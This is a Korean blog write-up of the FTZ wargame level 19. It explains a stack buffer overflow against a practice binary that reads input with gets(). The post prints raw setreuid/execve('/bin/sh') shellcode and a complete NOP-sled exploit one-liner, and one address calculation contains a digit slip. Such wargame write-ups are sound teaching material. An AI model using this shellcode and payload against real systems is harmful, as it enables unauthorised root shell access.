FTZ_level19

해킹/FTZ 11~20 2016. 1. 13. 23:01


level18에서 심하게 복잡했던 문제가 또 심하게 단순해졌다.

이 문제는... 아마도 쉘코드를 만들 수 있느냐는 문제로 보인다.

코드 자체는 gets 함수를 사용해서 아주 취약하게 짜여져 있지만 아래 레벨에서처럼 setreuid를 해주는 코드가 없다.

그렇다면 setreuid를 포함하는 쉘코드를 짜서 사용하면 된다. 나는 아래 41바이트짜리 쉘코드를 사용했다.

쉘코드를 작성하는 방법에 대해서는 이 포스팅에서 다루지 않고 따로 정리 포스팅을 만들 계획이다.


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80




음... 이 쉘코드를 만들고서 환경변수에 집어넣으려고 하니 너무 여태까지 해왔던 것과 똑같고 밑밑하다. 환경변수 없이 풀어보자.

aslr을 우회하기 위해서 놉을 많이 넣을수 있는 환경변수를 택해왔는데 꼭 그럴필요는 없다.

일단 디버깅을 해본 후 천천히 살펴보자.




동적 디버깅을 위해 hint를 tmp폴더 밑에 가져와서 똑같은 attackme를 권한만 level19의 권한으로 만들었다.

level20권한의 진짜 attackme는 동적 디버깅이 불가능하다.





내용은 역시나 상~당히 단순하다.

ebp-40부분에 buf변수가 위치하니 44바이트 더미와 리턴주소를 넣어주면 될것이다.



여기서 이전까지의 포스팅과는 다르게 쉘코드를 집어넣을건데....

바로 nop을 리턴주소 뒷쪽에다가 집어넣은 방식이다.

gets함수가 길이를 전혀 체크하지 않으므로 리턴주소 뒷쪽에도 스텍에 공간이 허락하는 한 계속해서 nop을 집어넣을 수 있다.

그런식으로 많은 수의 nop을 넣어서 aslr을 우회할 것이다.


그러기 위해서는 우선 스텍이 대충 어디쯤에 위치하는지 살펴보자.



우선 main+28부분에 브레이크를 걸고 실행시킨뒤 입력값으로 대충 a를 몇개 넣고 buf 부분을 봤다.

buf는 절대주소(VA)상 0xbfffbd00에 위치한다. 물론 프로그램을 다시 실행시키면 Image base가 다른 랜덤한 값으로 변하므로 다른 주소에 위치할 것이다.

아무튼 디버깅하는 지금은 0xbfffbd00에 buf가 위치하고 44바이트 뒤엔 0xbfffbd2c부분이 리턴주소가 될 것이다.

스텍 영역의 끝이 0xbfffffff이므로 여기서 0xbfffbd2c를 빼면 대략 17107개정도는 입력값을 더 넣을 수 있다. 마찬가지로 Imagebase가 변하면서 VA가 다음실행에는 더 커질수도 있으므로 넉넉하개 nop을 10000개정도만 넣어주자.

그리고 그 nop들의 중간지점인 0xbfffdb2c+5000=0xbfffe3b4 정도로 리턴값을 떨궈주면 되겠다.


최종적인 페이로드는 더미 44바이트 + 리턴주소(0xbfffe3b4) + 0x90(nop)*10000 + 쉘코드


(python -c 'print "a"*44+"\xb4\xe3\xff\xbf"+"\x90"*10000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./attackme


이렇게 페이로드를 작성한 뒤 실행시켜 주면...




.........


이런식으로 스텍을 이용해서도 bof 공격에 성공했다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level20  (0) 2016.01.14
FTZ_level18  (0) 2016.01.13
FTZ_level17  (0) 2016.01.13
FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
Tags
Social